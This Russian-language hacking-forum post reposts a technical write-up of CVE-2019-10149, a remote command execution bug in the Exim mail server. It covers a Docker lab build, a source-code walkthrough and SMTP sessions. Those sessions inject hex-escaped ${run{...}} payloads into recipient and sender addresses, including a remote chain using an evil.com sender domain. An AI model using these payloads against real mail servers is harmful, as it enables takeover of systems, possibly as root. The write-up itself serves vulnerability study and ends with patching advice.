• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Отправляем команды. Как заставить популярный серверный почтовик выполнять произвольный код

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
В этой статье я расскажу об уязвимости в агенте пересылки сообщений Exim. Найденная брешь позволяет атакующему выполнить произвольный код на целевой системе, что само по себе очень опасно, а если Exim был запущен от рута, то успешная эксплуатация позволяет получить максимальный контроль над системой.

Я уже дважды писал об RCE в этом почтовом сервере: один раз — в 2017 году, второй — в 2018-м. Оба раза для успешной эксплуатации нужно было разбираться со смещениями, кучами и прочей бинарщиной. В этот раз для проведения атаки достаточно просто отправить письмо через уязвимый Exim на специально сформированный адрес, содержащий пейлоад.

Если вкратце, то атака основана на внедрении произвольных сущностей в expanded strings, в заголовки RCPT TO и MAIL FROM. Она позволяет злоумышленнику передать специально сформированную строку как email-адрес, и та будет интерпретирована почтовым сервисом как системная команда.

Баг обнаружили специалисты из Qualys в конце мая этого года. Он получил номер CVE-2019-10149 и затрагивает все версии Exim с 4.87 до 4.91 включительно.


Стенд

Для создания тестового окружения воспользуемся контейнером Docker. На момент публикации уязвимости пакеты Exim, которые лежали в репозитории Debian, содержали данную брешь. Они уже запатчены, поэтому нам нужно будет собрать уязвимую версию из исходников.
Код:
$ docker run -it --rm -p25:25 --name=eximrce --hostname=eximrce --cap-add=SYS_PTRACE --security-opt seccomp=unconfined debian /bin/bash
Расшариваем 25-й порт наружу, чтобы в дальнейшем можно было протестировать удаленную атаку. Помимо этого, добавляем флаги, чтобы можно было отлаживать приложение.

Теперь устанавливаем необходимые зависимости для успешной компиляции.
Код:
$ apt-get install -y exim4 build-essential git libdb5.3-dev libpcre3-dev libgnutls28-dev libgcrypt-dev wget netcat nano procps gdb
Обрати внимание, что я установил Exim4 из репозиториев. Это нужно для того, чтобы не возиться с конфигурационным файлом, добавлением пользователей и прочими приготовлениями.

Выполняем базовую настройку почтового сервера.

Код:
$ dpkg-reconfigure exim4-config
Первичная настройка Exim4

Первичная настройка Exim4

Важный параметр — Domains to relay mail for. Запомни его, я вернусь к нему на этапе удаленной эксплуатации.

Теперь воспользуемся репозиторием Exim4 на GitHub и клонируем последнюю уязвимую ветку — 4.91.
Код:
$ git clone --depth=1 -b exim-4_91 https://github.com/Exim/exim.git
$ cd exim/src
$ mkdir Local
Скопируем дефолтный шаблон мейкфайла.
Код:
$ cp src/EDITME Local/Makefile
В него нужно внести пачку изменений для того, чтобы скомпилировать максимально соответствующий существующему конфигу бинарник.
Сначала укажем имя пользователя, от которого будет работать Exim. Если ставить из репозиториев, то скрипт установки создает пользователя Debian-exim. Его и указываем.
Код:
$ sed -i 's,^EXIM_USER.*$,EXIM_USER=Debian-exim,' Local/Makefile
Отключаем Exim Monitor, так как это графическая утилита для просмотра информации о работе демона и в консоли она нам совершенно ни к чему.
Код:
$ sed -i 's,^EXIM_MONITOR=.*$,# EXIM_MONITOR=,' Local/Makefile
Указываем директорию, в которой лежат бинарники.
Код:
$ sed -i 's,^BIN_DIRECTORY=.*$,BIN_DIRECTORY=/usr/sbin,' Local/Makefile
Теперь указываем путь до файла конфигурации. Я сгенерировал его через утилиту exim4-config, которая записывает его в /var/lib/exim4/config.autogenerated.
Код:
$ sed -i 's,^CONFIGURE_FILE=.*$,CONFIGURE_FILE=/var/lib/exim4/config.autogenerated,' Local/Makefile &&
Дальше идут не особенно важные настройки.
Код:
sed -i 's,^# SUPPORT_MAILDIR,SUPPORT_MAILDIR,' Local/Makefile && \
sed -i 's,^# SUPPORT_MAILSTORE,SUPPORT_MAILSTORE,' Local/Makefile && \
sed -i 's,^# SUPPORT_MOVE_FROZEN_MESSAGES,SUPPORT_MOVE_FROZEN_MESSAGES,' Local/Makefile && \
sed -i 's,^# SUPPORT_TLS=,SUPPORT_TLS=,' Local/Makefile && \
sed -i 's,^# USE_GNUTLS=,USE_GNUTLS=,' Local/Makefile && \
sed -i 's,^# TLS_LIBS=-lgnutls,TLS_LIBS=-lgnutls,' Local/Makefile && \
sed -i 's,^# LOOKUP_CDB,LOOKUP_CDB,' Local/Makefile && \
sed -i 's,^# LOOKUP_DSEARCH,LOOKUP_DSEARCH,' Local/Makefile && \
sed -i 's,^# LOOKUP_NIS,LOOKUP_NIS,' Local/Makefile && \
sed -i 's,^# LOOKUP_NISPLUS,LOOKUP_NISPLUS,' Local/Makefile && \
sed -i 's,^# LOOKUP_PASSWD,LOOKUP_PASSWD,' Local/Makefile && \
sed -i 's,^# TRANSPORT_LMTP,TRANSPORT_LMTP,' Local/Makefile && \
sed -i 's,^# AUTH_CRAM_MD5,AUTH_CRAM_MD5,' Local/Makefile && \
sed -i 's,^# AUTH_PLAINTEXT,AUTH_PLAINTEXT,' Local/Makefile && \
sed -i 's,^# HAVE_IPV6,HAVE_IPV6,' Local/Makefile
Изменяем директорию, в которую будет складываться очередь писем для отправки.
Код:
$ sed -i 's,^/var/spool/exim,/var/spool/exim4,' Local/Makefile
И последнее изменение — нужно добавить флаг -g, если ты хочешь отлаживать приложение.
Код:
$ printf "CFLAGS  += -g\n" >> Local/Makefile
Дальше дело за компиляцией.
Код:
$ make
Успешная компиляция Exim 4.91

Успешная компиляция Exim 4.91

После того как приложение успешно скомпилено, нужно заменить бинарник Exim, который я ставил из репозитория Debian.
Код:
$ mv /usr/sbin/exim4 /usr/sbin/exim4_orig && cp -f /root/exim/src/build-Linux-x86_64/exim /usr/sbin/exim4
Стенд готов. Теперь ты можешь запускать демон Exim в качестве сервиса или напрямую из командной строки с выводом информации о работе в консоль.
Код:
$ exim4 -bdf -d+all


Детали уязвимости и локальная эксплуатация

Сначала я расскажу о самом простом способе эксплуатации — локальном. Попутно разберем, в чем же именно причина уязвимости.

В окружении сервера Exim есть такое понятие, как String Expansion. Грубо говоря, это аналог макросов, как в разных шаблонизаторах. Строки специального вида, которые обрабатываются парсером Exim. Среди множества команд и функций, которые доступны в рамках String Expansion, имеется вызов внешней программы — run.
Код:
${run{<команда> <аргументы>}{<string1>}{<string2>}}
Сам парсинг выполняется функцией expand_string.

src/src/expand.c
Код:
7659: uschar *
7660: expand_string(uschar * string)
7661: {
7662: return US expand_cstring(CUS string);
7663: }
src/src/expand.c
Код:
7640: const uschar *
7641: expand_cstring(const uschar * string)
7642: {
7643: if (Ustrpbrk(string, "$\\") != NULL)
7644:   {
7645:   int old_pool = store_pool;
7646:   uschar * s;
7647:
7648:   search_find_defer = FALSE;
7649:   malformed_header = FALSE;
7650:   store_pool = POOL_MAIN;
7651:     s = expand_string_internal(string, FALSE, NULL, FALSE, TRUE, NULL);
7652:   store_pool = old_pool;
7653:   return s;
7654:   }
7655: return string;
7656: }
Среди огромного количества мест, где она вызывается, есть такое место и в deliver_message.

src/src/deliver.c
Код:
5505: int
5506: deliver_message(uschar *id, BOOL forced, BOOL give_up)
5507: {
...
6224: #ifndef DISABLE_EVENT
6225:       if (process_recipients != RECIP_ACCEPT)
6226:   {
6227:   uschar * save_local =  deliver_localpart;
6228:   const uschar * save_domain = deliver_domain;
6229:
6230:   deliver_localpart = expand_string(
6231:             string_sprintf("${local_part:%s}", new->address));
6232:   deliver_domain =    expand_string(
6233:             string_sprintf("${domain:%s}", new->address));
6234:
6235:   (void) event_raise(event_action,
6236:             US"msg:fail:internal", new->message);
6237:
6238:   deliver_localpart = save_local;
6239:   deliver_domain =    save_domain;
6240:   }
Как видишь, эта ветка компилируется в случае, когда символическая константа DISABLE_EVENT не определена. Так оно и есть, начиная с версии 4.87 Events — полноправная часть Exim и используются по умолчанию.

doc/doc-txt/ChangeLog
Код:
674: Exim version 4.87
675: -----------------
...
799: JH/29 Move Events support from Experimental to mainline, enabled by default
800:       and removable for a build by defining DISABLE_EVENT.
doc/doc-docbook/spec.xfpt
Код:
39868: Most installations will never need to use Events.
39869: The support can be left out of a build by defining DISABLE_EVENT=yes
39870: in &_Local/Makefile_&.
src/src/EDITME
Код:
456: # To disable support for Events set DISABLE_EVENT to "yes"
457:
458: # DISABLE_EVENT=yes
Напомню, что на основе файла src/src/EDITME я делал мейкфайл для компиляции Exim.

Посмотрим на сам код, он начинает работать только в том случае, если переменная process_recipients не равна RECIP_ACCEPT. Но при инициализации она принимает как раз такое значение.

src/src/deliver.c
Код:
5505: int
5506: deliver_message(uschar *id, BOOL forced, BOOL give_up)
5507: {
...
5513: int process_recipients = RECIP_ACCEPT;
Исправить этот «недостаток» можно несколькими способами. Относительно простой — это передать большое количество хидеров Received в письме.

src/src/deliver.c
5818: /* Otherwise, if there are too many Received: headers, fail all recipients. */
5819:
5820: else if (received_count > received_headers_max)
5821: process_recipients = RECIP_FAIL_LOOP;
Нужно, чтобы их было больше, чем максимально допустимое значение, которое хранится в переменной received_headers_max. По умолчанию оно равно 30.

src/src/globals.c
Код:
1131: int     received_headers_max   = 30;
Хватит сухих сорцов, давай попробуем это на практике. Для отправки писем я буду использовать обычный netcat.
Код:
nc localhost 25
Проявим вежливость и поздороваемся.
Код:
EHLO localhost
Указываем отправителя (точнее, что его нет).
Код:
MAIL FROM:<>
И получателя. Запомни этот адрес, он нам еще пригодится.
Код:
RCPT TO:<hellothere@localhost>
Теперь отправляем данные.
Код:
DATA
В дело вступает 31 заголовок Received.
Код:
Received: 1
Received: 2
Received: 3
...
Received: 31

.
Завершаем работу и разрываем соединение.
Код:
QUIT
В отладчике я поставил брейк-пойнт на функцию deliver_message. Давай посмотрим, что происходит при обработке и отправке этого письма.

Отладка функции deliver_message в Exim

Отладка функции deliver_message в Exim

Количество заголовков превышает максимум, а значит, process_recipients установлено в нужное значение. Продолжаем трейсить выполнение программы и попадаем в интересующее нас условие.

Отладка функции deliver_message. Попали в нужное условие

Отладка функции deliver_message. Попали в нужное условие

Адрес, который мы указывали в качестве получателя (RCPT TO), находится в new->address и затем попадает в функцию expand_string в виде следующего выражения:
${local_part:hellothere@localhost}
Адрес отправителя попадает в функцию expand_string

Адрес отправителя попадает в функцию expand_string

Если я передам вместо почты какую-нибудь конструкцию string expansion, то она будет тоже обработана, ибо никакой фильтрации не предусмотрено. Таким образом можно выполнять функции, например упомянутую выше run. Для начала укажем какую-нибудь простую команду.
Код:
${run{/bin/sh -c "id > /tmp/id"}}@localhost
Однако на этапе передачи этого адреса сервер ругнется на ошибку синтаксиса — пробелы недопустимы.

Ошибка в адресе получателя. Пробелы недопустимы

Ошибка в адресе получателя. Пробелы недопустимы

К счастью, синтаксис позволяет экранировать любые символы, указывая их в виде hex, как, например, в Python. Поэтому адрес превращается в нечто подобное.
Код:
${run{\x2fbin\x2fsh\t-c\t\x22id\t\x3e\t\x2ftmp\x2fid\x22}}@localhost
Теперь сервер считает этот email валидным.

Внедрение пейлоада в expansion string в Exim

Внедрение пейлоада в expansion string в Exim

И если продолжить выполнение потока программы, то наша команда id выполнится.

Выполнение произвольных команд в Exim

Выполнение произвольных команд в Exim

Если сделать листинг директории /tmp, то выяснится, что здесь лежит файл id с результатами работы одноименной команды. Владелец этого файла — пользователь, от которого запущен демон exim. Если он работает от root, то мы получаем полный доступ к системе. Существует директива deliver_drop_privilege, которая понижает привилегии процесса отправки, но по дефолту она установлена в false.

src/src/globals.c`
Код:
637: BOOL    deliver_drop_privilege = FALSE;
Успешное выполнение команды от пользователя, под которым работает Exim

Успешное выполнение команды от пользователя, под которым работает Exim

На данный момент уже существует несколько автоматизированных скриптов для эксплуатации уязвимости. Например, raptor_exim_wiz за авторством Марко Ивальди (Marco Ivaldi) AKA Raptor, имеющий два режима работы — создание suid и бэкшелл с помощью netcat. Эксплоит написан на bash, поэтому ты без труда сможешь разобраться и подогнать его под свои нужды, если это необходимо.


Удаленное выполнение команд и ограничения

А что насчет удаленной эксплуатации? Тут все сильно зависит от конфигурации, с которой ты имеешь дело. Например, конфигурация по умолчанию требует, чтобы пользователь, которому отправляется email, существовал в системе. За это отвечает опция verify = recipient.

Для RCE локальный метод не срабатывает

Для RCE локальный метод не срабатывает

Но бывают конфигурации, где эта опция отсутствует по тем или иным причинам. Например, администратор защищается от атак user enumeration. Если тебе так повезло, то можешь использовать для эксплуатации локальный метод.

Еще один вариант подойдет в том случае, если конфигурация разрешает использовать суффиксы к почтовым адресам, как, например, на Яндексе — vasyan+xakep@yandex.ru. За такое поведение отвечает опция local_part_suffix.
Код:
local_part_suffix = +*
local_part_suffix_optional
Если суффикс указан, то эксплуатация локальным способом снова становится возможной. Для этого до суффикса нужно указать реально существующего в системе пользователя.
Код:
root+${run{\x2fbin\x2fsh\t-c\t\x22id\t\x3e\t\x2ftmp\x2fidsuff\x22}}@localhost
При включенной опции local_part_suffix можно передать пейлоад и выполнить RCE

При включенной опции local_part_suffix можно передать пейлоад и выполнить RCE

Остается еще один вариант эксплуатации для нестандартной конфигурации. Возможно, на сервере настроена пересылка сообщений куда-либо (relay).
Эту опцию можно указать на этапе генерации конфига. Для тестового стенда я указал, что сервер является почтовым узлом до ya.ru.

Настройка пересылки почты в Exim

Настройка пересылки почты в Exim

Теперь можно использовать этот домен в пейлоаде, и такой ящик без проблем будет принят и обработан.
Код:
${run{\x2fbin\x2fsh\t-c\t\x22id\t\x3e\t\x2ftmp\x2fid_relay\x22}}@ya.ru
RCE в Exim с настроенным relay

RCE в Exim с настроенным relay


RCE при использовании конфига по умолчанию

Переходим к заключительной части. Возможна ли удаленная эксплуатация при дефолтной конфигурации? Сразу спойлер: да, но вероятность крайне мала.
Давай по порядку.

Первая проблема с проверкой существования пользователя решается при помощи возвращенного письма (bounce message). Если письмо не было доставлено, то оно возвращается к отправителю. Здесь в поле получателя (RCPT TO) используется ящик отправителя (MAIL FROM оригинального письма). Разумеется, мы можем взять в качестве отправителя любые значения, не противоречащие формату адреса. Поэтому там можно указать пейлоад.

Вторая проблема: нам нужно сделать так, чтобы переменная process_recipientsотличалась от RECIP_ACCEPT, иначе не попасть в уязвимую часть кода. Только вот трюк с превышением максимального количества заголовков уже не прокатит, так как нет возможности управлять заголовками возвращенного письма.

В коде нашлась интересная логика, которая позволяет обойти эту проблему.
Если и возвращенное письмо не будет доставлено спустя семь дней, то Exim устанавливает переменную process_recipients в значение RECIP_FAIL_TIMEOUT.

Дефолтное значение переменной timeout_frozen_after в конфиге Exim

Дефолтное значение переменной timeout_frozen_after в конфиге Exim

Трюк основан на том, что дефолтное значение timeout_frozen_after — это 7d. Но здесь подстерегает еще одна проблема, на этот раз посерьезней. Если проблемой при доставке письма был не временный сбой, то по истечении двух дней статус возвращенного письма меняется на отложенный (defer). Именно такой срок по дефолту имеет настройка ignore_bounce_errors_after.

Дефолтное значение переменной ignore_bounce_errors_after в конфиге Exim

Дефолтное значение переменной ignore_bounce_errors_after в конфиге Exim
src/src/deliver.c
Код:
1682:   /* If this is a delivery error, or a message for which no replies are
1683:   wanted, and the message’s age is greater than ignore_bounce_errors_after,
1684: force the af_ignore_error flag. This will cause the address to be discarded
1685:   later (with a log entry). */
1686:
1687:   if (!*sender_address && message_age >= ignore_bounce_errors_after)
1688:     addr->prop.ignore_error = TRUE;
Exim будет пытаться повторить отправку письма с таким статусом. По умолчанию максимальный срок установлен в четыре дня.

Расписание повторной отправки писем в Exim-конфиге из Debian-репозитория

Расписание повторной отправки писем в Exim-конфиге из Debian-репозитория

По истечении этого времени письмо будет отменено и сервер больше не будет пытаться его доставить. То есть до семидневного срока он не дотянет. Ребята из Qualys придумали интересную цепочку, чтобы обойти все перечисленные ограничения.

Алгоритм эксплуатации выглядит следующим образом.

Подключаемся к серверу и отправляем письмо, которое не может быть доставлено. Для этого используем трюк с большим количеством хидеров Received. В этот раз пейлоад записываем в MAIL FROM, а в качестве домена используем подконтрольный нам.
Код:
${run{...}}@evil.com
Получателем (RCPT TO) можно указать postmaster, этот псевдопользователь существует по дефолту.

Так как при доставке сообщения будет возникать ошибка, то Exim присоединится к почтовому агенту на нашем сервере и попытается вернуть письмо на ящик отправителя (в имени которого пейлоад).

Теперь самое интересное. Exim отправляет нашему серверу SMTP-команды и ждет ответов. Нам нужно держать это соединение открытым семь дней. По дефолту Exim читает ответ от сервера частями по 8192 байт. За размер частей отвечает DELIVER_BUFFER_SIZE,

src/src/config.h.defaults
Код:
46: #define DELIVER_IN_BUFFER_SIZE     8192
47: #define DELIVER_OUT_BUFFER_SIZE    8192
Тайм-аут на чтение установлен в пять минут — переменная command_timeout.

src/src/transports/smtp.c
Код:
215: smtp_transport_options_block smtp_transport_option_defaults = {
...
251:   .command_timeout =       5*60,
Разумеется, счетчик тайм-аута сбрасывается при получении любого количества информации. Поэтому нужно отправлять серверу по байту каждые четыре минуты.

После того как пройдет семь дней, нужно ответить уязвимому серверу какой-то неразрешимой ошибкой. Например, 550 Unrouteable address. Это значит, что почтового ящика с таким адресом не существует и смысла в дальнейших попытках отправки нет. Возвращенное письмо благодаря такому трюку зависнет в пуле. Функция post_process_one должна бы пометить его как отмененное, потому что прошло больше двух дней после создания сообщения (ignore_bounce_errors_after).

src/src/deliver.c
Код:
1687:   if (!*sender_address && message_age >= ignore_bounce_errors_after)
1688:     addr->prop.ignore_error = TRUE;
В сложившихся обстоятельствах переменная message_age будет содержать не реальное время создания возвращенного письма, а то, когда оно было последний раз загружено из очереди Exim. Это означает, что вместо семи дней возраст письма равен нескольким минутам или даже секундам, в зависимости от того, когда последний раз вызывалась очередь.

В итоге условие не отрабатывает и письмо переходит в очередь задержанных и замороженных.

src/src/deliver.c
Код:
1696:   if (  !addr->prop.ignore_error
1697:      && (  addr->special_action == SPECIAL_FREEZE
1698:         || (sender_address[0] == 0 && !addr->prop.errors_address)
1699:      )  )
1700:     {
1701:     frozen_info = addr->special_action == SPECIAL_FREEZE
1702:       ? US""
1703:       : sender_local && !local_error_message
1704:       ? US" (message created with -f <>)"
1705:       : US" (delivery error message)";
1706:     deliver_freeze = TRUE;
1707:     deliver_frozen_at = time(NULL);
1708:     update_spool = TRUE;
Наконец, при следующей обработке очереди замороженное письмо будет загружено, и в этот раз его возраст будет установлен корректно. То есть получится, что он будет больше семи дней и больше дефолтного значения timeout_frozen_after. Переменная process_recipients примет отличное от RECIP_ACCEPT значение, чего, собственно, мы и добивались.

src/src/deliver.c
Код:
5725:   if (timeout_frozen_after > 0 && message_age >= timeout_frozen_after)
5726:     {
5727:     log_write(0, LOG_MAIN, "cancelled by timeout_frozen_after");
5728:     process_recipients = RECIP_FAIL_TIMEOUT;
5729:     }
Дальше все как при локальной эксплуатации: в функцию expand_string попадет наш пейлоад (${run{...}}@evil.com) из адреса отправителя и код выполнится.

Если интересно, можешь сам набросать эксплоит для реализации этого алгоритма атаки. А чтобы при отладке каждый раз не сидеть и не ждать по семь дней, как Самара, советую поменять все опции, связанные со временем (ignore_bounce_errors_after, timeout_frozen_after, расписание повторной отправки) на более короткие промежутки.

Не исключено, что существует возможность проэксплуатировать дефолтную конфигурацию гораздо быстрее. Возможно, именно ты найдешь этот способ, так что дерзай.


Демонстрация уязвимости (видео)


Заключение
Итак, мы изучили интересную уязвимость сервера Exim 4.91 и разные техники ее эксплуатации. Разработчикам даже не пришлось реагировать на сообщение о баге, так как к этому времени он был исправлен заодно с другой уязвимостью. Коммит от 17 сентября 2018 года, кроме бага 2310, фиксит и изученную нами проблему. Этот коммит был сделан в предрелизную (RC1) версию Exim 4.92, которая окончательно вышла 10 февраля 2019 года. Поэтому она не эксплуатабельна.

Помимо этого, разработчики выпустили патчи для всех существующих версий почтового демона. Обрати внимание, что версии ниже 4.87 тоже можно эксплуатировать, если при компиляции была определена директива EXPERIMENTAL_EVENT.

Так что почаще проверяй свое окружение на наличие известных брешей и своевременно накатывай патчи.

Автор @aLLy (iamsecurity)
хакер.ру
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх